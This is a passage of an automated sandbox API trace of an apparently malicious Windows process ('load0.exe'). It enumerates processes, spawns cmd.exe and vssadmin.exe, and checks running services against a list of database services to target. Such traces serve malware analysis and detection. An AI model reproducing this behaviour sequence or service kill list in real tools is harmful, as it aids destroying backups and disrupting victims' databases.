th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0252.869] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0252.869] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.870] lstrlenW (lpString="svchost.exe") returned 11 [0252.870] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.872] lstrlenW (lpString="svchost.exe") returned 11 [0252.872] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0252.873] lstrlenW (lpString="dwm.exe") returned 7 [0252.873] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.874] lstrlenW (lpString="svchost.exe") returned 11 [0252.874] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.875] lstrlenW (lpString="svchost.exe") returned 11 [0252.875] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.876] lstrlenW (lpString="svchost.exe") returned 11 [0252.876] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.877] lstrlenW (lpString="svchost.exe") returned 11 [0252.877] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.878] lstrlenW (lpString="svchost.exe") returned 11 [0252.878] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.879] lstrlenW (lpString="svchost.exe") returned 11 [0252.879] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.880] lstrlenW (lpString="svchost.exe") returned 11 [0252.880] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.881] lstrlenW (lpString="svchost.exe") returned 11 [0252.881] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.882] lstrlenW (lpString="svchost.exe") returned 11 [0252.882] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.883] lstrlenW (lpString="svchost.exe") returned 11 [0252.883] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.884] lstrlenW (lpString="spoolsv.exe") returned 11 [0252.884] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.885] lstrlenW (lpString="svchost.exe") returned 11 [0252.885] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.886] lstrlenW (lpString="audiodg.exe") returned 11 [0252.887] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0252.888] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0252.888] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0252.889] lstrlenW (lpString="Memory Compression") returned 18 [0252.889] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0252.890] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0252.890] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.891] lstrlenW (lpString="taskhostw.exe") returned 13 [0252.891] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.892] lstrlenW (lpString="sihost.exe") returned 10 [0252.892] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.893] lstrlenW (lpString="svchost.exe") returned 11 [0252.893] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.894] lstrlenW (lpString="taskhostw.exe") returned 13 [0252.894] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0252.895] lstrlenW (lpString="msoia.exe") returned 9 [0252.895] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.896] lstrlenW (lpString="explorer.exe") returned 12 [0252.896] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.897] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0252.897] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.898] lstrlenW (lpString="SearchUI.exe") returned 12 [0252.898] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.899] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0252.899] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.900] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0252.900] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0252.901] lstrlenW (lpString="load0.exe") returned 9 [0252.901] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0253.187] lstrlenW (lpString="cmd.exe") returned 7 [0253.187] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0253.188] lstrlenW (lpString="conhost.exe") returned 11 [0253.189] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x272c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0253.190] lstrlenW (lpString="consent.exe") returned 11 [0253.190] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0253.191] lstrlenW (lpString="vssadmin.exe") returned 12 [0253.191] Process32NextW (in: hSnapshot=0x118c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2698, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0253.272] CloseHandle (hObject=0x118c) returned 1 [0253.281] Sleep (dwMilliseconds=0x1f4) [0253.960] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64730 [0253.960] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0253.961] GetLastError () returned 0xea [0253.961] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x4053110 [0253.961] EnumServicesStatusExW (in: hSCManager=0x3f64730, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4053110, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4053110, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0253.962] CloseServiceHandle (hSCObject=0x3f64730) returned 1 [0253.962] lstrlenW (lpString="Appinfo") returned 7 [0253.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0253.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0253.962] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0253.962] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0253.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0253.962] lstrlenW (lpString="AppXSvc") returned 7 [0253.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0253.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0253.962] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0253.962] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0253.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0253.963] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0253.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.963] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0253.963] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0253.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0253.963] lstrlenW (lpString="Audiosrv") returned 8 [0253.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0253.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0253.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0253.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0253.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0253.963] lstrlenW (lpString="BFE") returned 3 [0253.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0253.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0253.963] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0253.963] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0253.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0253.963] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0253.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0253.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0253.964] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0253.964] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0253.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0253.964] lstrlenW (lpString="CDPSvc") returned 6 [0253.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0253.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0253.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0253.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0253.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0253.964] lstrlenW (lpString="ClickToRunSvc") returned 13 [0253.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0253.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0253.964] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0253.964] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0253.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0253.964] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0253.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0253.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0253.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0253.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0253.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0253.964] lstrlenW (lpString="CryptSvc") returned 8 [0253.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0253.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0253.964] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0253.964] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0253.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0253.965] lstrlenW (lpString="DcomLaunch") returned 10 [0253.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0253.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0253.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0253.965] lstrlenW (lpString="DeviceAssociationService") returned 24 [0253.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0253.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0253.965] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0253.965] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0253.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0253.965] lstrlenW (lpString="Dhcp") returned 4 [0253.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0253.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0253.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0253.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0253.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0253.965] lstrlenW (lpString="Dnscache") returned 8 [0253.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0253.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0253.965] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0253.965] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0253.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0253.965] lstrlenW (lpString="DPS") returned 3 [0253.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0253.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0253.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0253.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0253.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0253.966] lstrlenW (lpString="DusmSvc") returned 7 [0253.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0253.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0253.966] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0253.966] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0253.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0253.966] lstrlenW (lpString="EventLog") returned 8 [0253.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0253.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0253.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0253.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0253.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0253.966] lstrlenW (lpString="EventSystem") returned 11 [0253.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0253.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0253.966] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0253.966] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0253.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0253.966] lstrlenW (lpString="FontCache") returned 9 [0253.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0253.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0253.966] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0253.966] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0253.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0253.967] lstrlenW (lpString="gpsvc") returned 5 [0253.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0253.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0253.967] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0253.967] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0253.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0253.967] lstrlenW (lpString="iphlpsvc") returned 8 [0253.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.967] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0253.967] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0253.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0253.967] lstrlenW (lpString="KeyIso") returned 6 [0253.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0253.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0253.967] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0253.967] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0253.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0253.967] lstrlenW (lpString="LanmanServer") returned 12 [0253.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0253.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0253.967] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0253.967] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0253.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0253.967] lstrlenW (lpString="LanmanWorkstation") returned 17 [0253.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.968] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0253.968] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0253.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0253.968] lstrlenW (lpString="lfsvc") returned 5 [0253.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0253.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0253.968] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0253.968] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0253.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0253.968] lstrlenW (lpString="lmhosts") returned 7 [0253.968] 